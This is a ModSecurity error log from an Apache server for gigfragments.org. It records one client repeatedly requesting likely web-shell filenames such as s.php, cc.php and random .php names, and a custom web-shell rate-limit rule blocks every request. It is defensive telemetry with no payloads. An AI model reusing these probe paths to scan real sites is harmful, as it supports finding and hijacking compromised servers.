[Thu Dec 25 21:37:50.647786 2025] [:error] [pid 22044:tid 22099] [client 4.241.194.62:64880] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qaez.php56"] [unique_id "aU0-LnPTC5rQKTB0FQ-RRAAAANg"]
[Thu Dec 25 21:37:51.106826 2025] [:error] [pid 22131:tid 22160] [client 4.241.194.62:38845] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s.php"] [unique_id "aU0-L5vVMtSTB4lX2fYqOgAAAFg"]
[Thu Dec 25 21:37:51.607893 2025] [:error] [pid 27869:tid 27894] [client 4.241.194.62:64963] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s.php"] [unique_id "aU0-LxNK7_n86kBD7qfLCQAAAJc"]
[Thu Dec 25 21:37:52.792515 2025] [:error] [pid 27869:tid 27879] [client 4.241.194.62:55716] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s.php"] [unique_id "aU0-MBNK7_n86kBD7qfLDQAAAIg"]
[Thu Dec 25 21:37:53.119344 2025] [:error] [pid 22044:tid 22078] [client 4.241.194.62:64856] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s.php"] [unique_id "aU0-MXPTC5rQKTB0FQ-RSQAAAMM"]
[Thu Dec 25 21:37:53.519201 2025] [:error] [pid 22131:tid 22143] [client 4.241.194.62:64868] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aU0-MZvVMtSTB4lX2fYqPgAAAEk"]
[Thu Dec 25 21:37:54.102953 2025] [:error] [pid 27869:tid 27886] [client 4.241.194.62:36474] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aU0-MhNK7_n86kBD7qfLEwAAAI8"]
[Thu Dec 25 21:37:54.820648 2025] [:error] [pid 27869:tid 27889] [client 4.241.194.62:53297] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aU0-MhNK7_n86kBD7qfLFgAAAJI"]
[Thu Dec 25 21:37:55.156111 2025] [:error] [pid 27869:tid 27891] [client 4.241.194.62:38815] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aU0-MxNK7_n86kBD7qfLFwAAAJQ"]
[Thu Dec 25 21:37:56.313273 2025] [:error] [pid 22131:tid 22159] [client 4.241.194.62:53309] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s121ws2s.php"] [unique_id "aU0-NJvVMtSTB4lX2fYqQgAAAFc"]
[Thu Dec 25 21:37:58.501911 2025] [:error] [pid 22044:tid 22085] [client 4.241.194.62:36419] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s121ws2s.php"] [unique_id "aU0-NnPTC5rQKTB0FQ-RVQAAAMo"]
[Thu Dec 25 21:37:59.456221 2025] [:error] [pid 27869:tid 27884] [client 4.241.194.62:36421] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s121ws2s.php"] [unique_id "aU0-NxNK7_n86kBD7qfLIAAAAI0"]
[Thu Dec 25 21:38:00.423266 2025] [:error] [pid 22131:tid 22139] [client 4.241.194.62:64967] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s121ws2s.php"] [unique_id "aU0-OJvVMtSTB4lX2fYqRgAAAEU"]
[Thu Dec 25 21:38:01.779095 2025] [:error] [pid 22131:tid 22152] [client 4.241.194.62:53259] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww1.php"] [unique_id "aU0-OZvVMtSTB4lX2fYqSQAAAFE"]
[Thu Dec 25 21:38:02.726425 2025] [:error] [pid 27869:tid 27884] [client 4.241.194.62:38789] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww1.php"] [unique_id "aU0-OhNK7_n86kBD7qfLMAAAAI0"]
[Thu Dec 25 21:38:03.214678 2025] [:error] [pid 27869:tid 27871] [client 4.241.194.62:38830] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww1.php"] [unique_id "aU0-OxNK7_n86kBD7qfLNgAAAIA"]
[Thu Dec 25 21:38:03.540294 2025] [:error] [pid 22131:tid 22160] [client 4.241.194.62:65015] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww1.php"] [unique_id "aU0-O5vVMtSTB4lX2fYqTQAAAFg"]
[Thu Dec 25 21:38:04.351876 2025] [:error] [pid 27869:tid 27877] [client 4.241.194.62:55726] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc.php"] [unique_id "aU0-PBNK7_n86kBD7qfLOgAAAIY"]
[Thu Dec 25 21:38:04.880323 2025] [:error] [pid 22043:tid 22050] [client 4.241.194.62:53249] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc.php"] [unique_id "aU0-PD4YVtlb2Iz_QE5HnQAAAAI"]
[Thu Dec 25 21:38:05.457818 2025] [:error] [pid 22045:tid 22105] [client 4.241.194.62:55743] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc.php"] [unique_id "aU0-PasGGmXjDnvlmHtjbgAAAUM"]
[Thu Dec 25 21:38:05.922669 2025] [:error] [pid 22131:tid 22158] [client 4.241.194.62:64145] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc.php"] [unique_id "aU0-PZvVMtSTB4lX2fYqUwAAAFY"]
[Thu Dec 25 21:38:06.500072 2025] [:error] [pid 22045:tid 22112] [client 4.241.194.62:64838] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww3.php"] [unique_id "aU0-PqsGGmXjDnvlmHtjcQAAAUo"]
[Thu Dec 25 21:38:07.478157 2025] [:error] [pid 22131:tid 22157] [client 4.241.194.62:53248] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww3.php"] [unique_id "aU0-P5vVMtSTB4lX2fYqVwAAAFU"]
[Thu Dec 25 21:38:08.244175 2025] [:error] [pid 27869:tid 27878] [client 4.241.194.62:38847] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww3.php"] [unique_id "aU0-QBNK7_n86kBD7qfLVQAAAIc"]
[Thu Dec 25 21:38:09.351940 2025] [:error] [pid 22044:tid 22084] [client 4.241.194.62:55719] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww3.php"] [unique_id "aU0-QXPTC5rQKTB0FQ-RWgAAAMk"]
[Thu Dec 25 21:38:10.517133 2025] [:error] [pid 27869:tid 27874] [client 4.241.194.62:55707] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/783de.php"] [unique_id "aU0-QhNK7_n86kBD7qfLXwAAAIM"]
[Thu Dec 25 21:38:11.225423 2025] [:error] [pid 27869:tid 27876] [client 4.241.194.62:38807] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/783de.php"] [unique_id "aU0-QxNK7_n86kBD7qfLYQAAAIU"]
[Thu Dec 25 21:38:11.508171 2025] [:error] [pid 22044:tid 22099] [client 4.241.194.62:36460] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/783de.php"] [unique_id "aU0-Q3PTC5rQKTB0FQ-RZQAAANg"]
[Thu Dec 25 21:38:11.787133 2025] [:error] [pid 27869:tid 27891] [client 4.241.194.62:38820] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/783de.php"] [unique_id "aU0-QxNK7_n86kBD7qfLYgAAAJQ"]
[Thu Dec 25 21:38:29.091466 2025] [:error] [pid 22044:tid 22087] [client 4.241.194.62:64843] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qV9GbcJwZgK.php"] [unique_id "aU0-VXPTC5rQKTB0FQ-RkgAAAMw"]
[Thu Dec 25 21:38:29.571439 2025] [:error] [pid 22044:tid 22098] [client 4.241.194.62:36476] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qV9GbcJwZgK.php"] [unique_id "aU0-VXPTC5rQKTB0FQ-RkwAAANc"]
[Thu Dec 25 21:38:30.316947 2025] [:error] [pid 22045:tid 22124] [client 4.241.194.62:36451] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qV9GbcJwZgK.php"] [unique_id "aU0-VqsGGmXjDnvlmHtjjwAAAVY"]
[Thu Dec 25 21:38:31.509265 2025] [:error] [pid 27869:tid 27873] [client 4.241.194.62:64128] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qV9GbcJwZgK.php"] [unique_id "aU0-VxNK7_n86kBD7qfLiwAAAII"]
[Thu Dec 25 21:38:32.085861 2025] [:error] [pid 22045:tid 22123] [client 4.241.194.62:36424] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qsntqiho.php"] [unique_id "aU0-WKsGGmXjDnvlmHtjkgAAAVU"]
[Thu Dec 25 21:38:32.403334 2025] [:error] [pid 22044:tid 22095] [client 4.241.194.62:64166] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qsntqiho.php"] [unique_id "aU0-WHPTC5rQKTB0FQ-RmQAAANQ"]
[Thu Dec 25 21:38:33.011777 2025] [:error] [pid 22044:tid 22096] [client 4.241.194.62:64835] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qsntqiho.php"] [unique_id "aU0-WXPTC5rQKTB0FQ-RngAAANU"]
[Thu Dec 25 21:38:34.290864 2025] [:error] [pid 22044:tid 22094] [client 4.241.194.62:36439] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qsntqiho.php"] [unique_id "aU0-WnPTC5rQKTB0FQ-RpAAAANM"]
[Thu Dec 25 21:38:35.241378 2025] [:error] [pid 22131:tid 22145] [client 4.241.194.62:64191] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qjaqjahu.php"] [unique_id "aU0-W5vVMtSTB4lX2fYqtwAAAEs"]
[Thu Dec 25 21:38:36.450245 2025] [:error] [pid 27869:tid 27876] [client 4.241.194.62:64853] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qjaqjahu.php"] [unique_id "aU0-XBNK7_n86kBD7qfLmAAAAIU"]
[Thu Dec 25 21:38:37.124524 2025] [:error] [pid 27869:tid 27873] [client 4.241.194.62:55684] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qjaqjahu.php"] [unique_id "aU0-XRNK7_n86kBD7qfLnAAAAII"]
[Thu Dec 25 21:38:37.755853 2025] [:error] [pid 22045:tid 22120] [client 4.241.194.62:53285] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qjaqjahu.php"] [unique_id "aU0-XasGGmXjDnvlmHtjmAAAAVI"]
[Thu Dec 25 21:38:38.329379 2025] [:error] [pid 22043:tid 22059] [client 4.241.194.62:38821] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qhLaGswd9DS.php"] [unique_id "aU0-Xj4YVtlb2Iz_QE5H0AAAAAs"]
[Thu Dec 25 21:38:39.231444 2025] [:error] [pid 22045:tid 22109] [client 4.241.194.62:64184] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qhLaGswd9DS.php"] [unique_id "aU0-X6sGGmXjDnvlmHtjnQAAAUc"]
[Thu Dec 25 21:38:39.783974 2025] [:error] [pid 22131:tid 22144] [client 4.241.194.62:53262] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qhLaGswd9DS.php"] [unique_id "aU0-X5vVMtSTB4lX2fYqvwAAAEo"]
[Thu Dec 25 21:38:40.378501 2025] [:error] [pid 22043:tid 22055] [client 4.241.194.62:64895] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qhLaGswd9DS.php"] [unique_id "aU0-YD4YVtlb2Iz_QE5H1AAAAAc"]
[Thu Dec 25 21:38:40.864889 2025] [:error] [pid 22045:tid 22104] [client 4.241.194.62:38808] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pwyjwrfr.php"] [unique_id "aU0-YKsGGmXjDnvlmHtjngAAAUI"]
[Thu Dec 25 21:38:41.538690 2025] [:error] [pid 22045:tid 22124] [client 4.241.194.62:64859] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pwyjwrfr.php"] [unique_id "aU0-YasGGmXjDnvlmHtjoAAAAVY"]
[Thu Dec 25 21:38:41.919219 2025] [:error] [pid 22043:tid 22066] [client 4.241.194.62:36441] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pwyjwrfr.php"] [unique_id "aU0-YT4YVtlb2Iz_QE5H2AAAABI"]
[Thu Dec 25 21:38:42.348407 2025] [:error] [pid 22045:tid 22106] [client 4.241.194.62:64136] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pwyjwrfr.php"] [unique_id "aU0-YqsGGmXjDnvlmHtjogAAAUQ"]
[Thu Dec 25 21:38:42.886362 2025] [:error] [pid 27869:tid 27894] [client 4.241.194.62:64130] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pNRzcP6wtYy.php"] [unique_id "aU0-YhNK7_n86kBD7qfLrAAAAJc"]
[Thu Dec 25 21:38:43.204361 2025] [:error] [pid 22043:tid 22061] [client 4.241.194.62:64861] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pNRzcP6wtYy.php"] [unique_id "aU0-Yz4YVtlb2Iz_QE5H3QAAAA0"]
[Thu Dec 25 21:38:43.926005 2025] [:error] [pid 27869:tid 27882] [client 4.241.194.62:55686] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pNRzcP6wtYy.php"] [unique_id "aU0-YxNK7_n86kBD7qfLrwAAAIs"]
[Thu Dec 25 21:38:44.554769 2025] [:error] [pid 22045:tid 22118] [client 4.241.194.62:53272] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pNRzcP6wtYy.php"] [unique_id "aU0-ZKsGGmXjDnvlmHtjqwAAAVA"]
[Thu Dec 25 21:38:45.604527 2025] [:error] [pid 22043:tid 22052] [client 4.241.194.62:64151] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ox8xhkkw.php"] [unique_id "aU0-ZT4YVtlb2Iz_QE5H6AAAAAQ"]
[Thu Dec 25 21:38:46.190520 2025] [:error] [pid 22131:tid 22151] [client 4.241.194.62:38818] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ox8xhkkw.php"] [unique_id "aU0-ZpvVMtSTB4lX2fYq0QAAAFA"]
[Thu Dec 25 21:38:46.778470 2025] [:error] [pid 27869:tid 27874] [client 4.241.194.62:64846] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ox8xhkkw.php"] [unique_id "aU0-ZhNK7_n86kBD7qfLtwAAAIM"]
